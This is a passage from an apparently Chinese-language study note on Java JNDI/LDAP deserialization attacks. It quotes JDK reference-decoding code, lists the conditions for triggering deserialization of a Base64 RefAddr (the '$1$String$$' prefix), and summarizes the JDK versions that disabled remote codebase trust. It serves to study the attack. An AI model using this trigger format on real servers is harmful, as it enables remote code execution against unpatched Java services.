if ((posnStr = val.substring(start, sep)) == null) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +
"empty RefAddr position");
}
try {
posn = Integer.parseInt(posnStr);
} catch (NumberFormatException nfe) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +
"RefAddr position not an integer");
}
start = sep + 1; // skip over position and trailing separator

// extract type
if ((sep = val.indexOf(separator, start)) < 0) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +
"RefAddr type not found");
}
if ((type = val.substring(start, sep)) == null) {
throw new InvalidAttributeValueException(
"malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " +
"empty RefAddr type");
}
start = sep + 1; // skip over type and trailing separator

// extract content
if (start == val.length()) {
// Empty content
refAddrList.setElementAt(new StringRefAddr(type, null), posn);
} else if (val.charAt(start) == separator) {
// Double separators indicate a non-StringRefAddr
// Content is a Base64-encoded serialized RefAddr

++start; // skip over consecutive separator
// %%% RL: exception if empty after double separator

if (decoder == null)
decoder = new BASE64Decoder();

RefAddr ra = (RefAddr)
deserializeObject(
decoder.decodeBuffer(val.substring(start)),
cl);

refAddrList.setElementAt(ra, posn);
} else {
// Single separator indicates a StringRefAddr
refAddrList.setElementAt(new StringRefAddr(type,
val.substring(start)), posn);
}
}

// Copy to real reference
for (int i = 0; i < refAddrList.size(); i++) {
ref.add(refAddrList.elementAt(i));
}
}

最终在这里通过反序列化还原的RefAddr对象,这里需要满足一堆条件

1.第一个字符为分隔符
2.第一个分隔符与第二个分隔符之间,表示Referenceposition,为int类型
3.第二个分隔符与第三个分隔符之间,表示type,类型
4.第三个分隔符是双分隔符的形式,则进入反序列化的操作
5.序列化数据用base64编码

所以这里使用$1$String$$开头,后面跟着base64序列化数据,具体可以看里面RefAddr对象还原的代码逻辑,我是不想看,payload也触发点里面的exp里面写了

总结

RMI原生:JDK 5U45、6U45、7u21、8u121

开始 java.rmi.server.useCodebaseOnly 默认配置为true

JNDI_RMI:JDK 6u132、7u122、8u113

开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false

JNDI_LDAP:JDK 11.0.1、8u191、7u201、6u211

开始 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

参考链接

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/12778

https://goodapple.top/archives/696

https://xz.aliyun.com/t/12277

https://tttang.com/archive/1611(最好)

https://xz.aliyun.com/t/8214

https://tttang.com/archive/1405

https://tttang.com/archive/1489

https://goodapple.top/archives/696

https://github.com/X1r0z/JNDIMap